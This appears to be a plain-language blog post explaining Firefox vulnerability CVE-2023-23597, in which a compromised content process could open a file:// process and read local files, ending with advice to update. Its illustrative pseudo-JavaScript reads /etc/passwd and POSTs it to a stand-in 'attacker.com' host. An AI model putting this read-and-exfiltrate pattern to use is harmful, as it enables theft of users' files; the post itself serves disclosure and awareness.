CVE-2023-23597 - How a Compromised Firefox Web Process Could Read Your Files

In January 2023, Mozilla patched a critical vulnerability in Firefox tracked as CVE-2023-23597. If you’re running Firefox 108 or earlier, your data might be at risk—especially your sensitive files.

This post explains, in plain language, how a compromised child web process could disable browser protections, break out of the web’s "sandbox," and let an attacker read files from your computer. We’ll walk through the vulnerability, the methods attackers use, and how it could be exploited.

What’s the Bug? (In Plain English)

Firefox uses multiple processes for web pages, called "child" processes, to keep content isolated. Normally, these processes are limited by "web security" rules—like not allowing a regular web page to load files from your computer.

But in Firefox versions before 109, there was a bug:  
If a web content process became compromised (for example, via a JavaScript bug or malicious extension), it could disable key security checks. That would allow it to launch a *new* child process, but this time, within the local file:// context.

The file:// context is special—it’s used when you open files on your hard drive in your browser. If a web process is able to act under this context, it can access files on your computer, sidestepping normal browser restrictions.

Attackers could access anything your user account can read.

- Sensitive data like config files, browser data, SSH keys, photos, or documents could be read and sent to a remote server, all in the background.

Theoretical Attack Flow

1. Compromise: Attacker finds a bug in JavaScript or a browser component to take control of a Firefox content process.

Disable Restrictions: The malicious process disables or bypasses web security restrictions.

3. Spawn File Context: The attacker spawns a new "file://" child process.
4. Re-Exploitation: The new process—now running in file:// context—is exploited again, allowing arbitrary file reads.

Here’s simplified pseudo-JavaScript to illustrate the concept

// This code WOULD NOT work on patched or current browsers.
// It demonstrates how an attacker might trigger the bug in old Firefox.

function exploit() {
  // Step 1: Compromise content process (skipping for demo)
  
  // Step 2: Bypass security restrictions (hypothetical primitives)
  browserSecurity.disableWebSecurity();  // Not real, for illustration

  // Step 3: Spawn a new 'file://' process
  let fileProcess = window.open('file:///etc/passwd'); // Reads Linux password file

  // Step 4: Read the content of the file (again, hypothetical API)
  fileProcess.onLoad = () => {
    let data = fileProcess.document.body.innerText;
    sendToAttacker(data);
  }
}

function sendToAttacker(data) {
  fetch('https://attacker.com/steal';, {
    method: 'POST',
    body: data
  });
}

Note: The actual attack would be more complex and would require exploiting a precise vulnerability to gain process control, but this gives you an idea.

References

- Mozilla Security Advisory: 2023-03
- CVE Details
- NVD Entry (National Vulnerability Database)

Real-World Risks

If you use Firefox for sensitive work, or if you haven’t updated the browser in a while, you’re vulnerable. Attackers could lure you to a malicious webpage, escape sandbox restrictions, and begin reading data from your computer—all invisible to you.

Conclusion

CVE-2023-23597 is a good reminder: browser isolation is critical, and even seemingly small bugs can have dramatic consequences. If you haven't already, update Firefox today—and keep an eye on security advisories.


For more details and the technical write-up, see:  
https://www.mozilla.org/en-US/security/advisories/mfsa2023-03/#CVE-2023-23597  
https://bugzilla.mozilla.org/show_bug.cgi?id=1800476

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/08/2023 17:53:00 UTC